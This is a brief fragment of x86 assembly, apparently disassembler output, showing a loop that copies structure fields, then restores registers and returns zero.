mov eax, dword [edi + 0x1c]
add edi, 0x44
mov dword [esi + 0x38], eax
sub esi, 0xffffff80
test ecx, ecx
jne 0x10005880
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret